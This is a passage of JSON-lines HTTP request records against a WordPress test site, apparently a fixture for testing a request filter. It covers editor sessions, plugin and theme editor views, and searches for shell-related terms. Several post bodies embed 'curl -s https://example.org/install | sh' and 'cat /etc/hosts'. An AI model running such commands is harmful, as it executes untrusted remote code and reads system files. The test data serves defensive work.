ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-login.php?action=logout&_wpnonce=e9a74137b6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203454"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/templates/twentytwentyfive//index?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//index\",\"content\":\"\\n\\n\\n

Our opening hours.

\\n\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 170", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//header\",\"content\":\"\\n\\n\\n

Our opening hours.

\\n\"}"} +{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"title\":\"A guide to the plain address\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\",\"status\":\"draft\"}"} +{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=12&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\"}"} +{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"title\":\"A guide to the index address\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\",\"status\":\"draft\"}"} +{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=14&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\"}"} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fbin%2Finstall.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207404"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fdocker-compose.yml&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207406"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?file=inc%2Fconfig.php&theme=example-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207407"], "body": ""} +{"method": "GET", "target": "/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""} +{"method": "GET", "target": "/index.php?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&_wpnonce=3a4f1df05d&_wp_http_referer=%2Fwp-admin%2Fedit.php&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=python3&_wpnonce=f27c858c25&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist&action=-1&affected=&_ajax_nonce=a654b3ca7f&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=python3&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""} +{"method": "GET", "target": "/index.php?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207373"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=powershell&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=powershell&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""} +{"method": "GET", "target": "/?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""} +{"method": "GET", "target": "/index.php?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=sudo+apt+install+nginx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207383"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=sudo+apt+install+nginx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207384"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=sudo+apt+install+nginx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 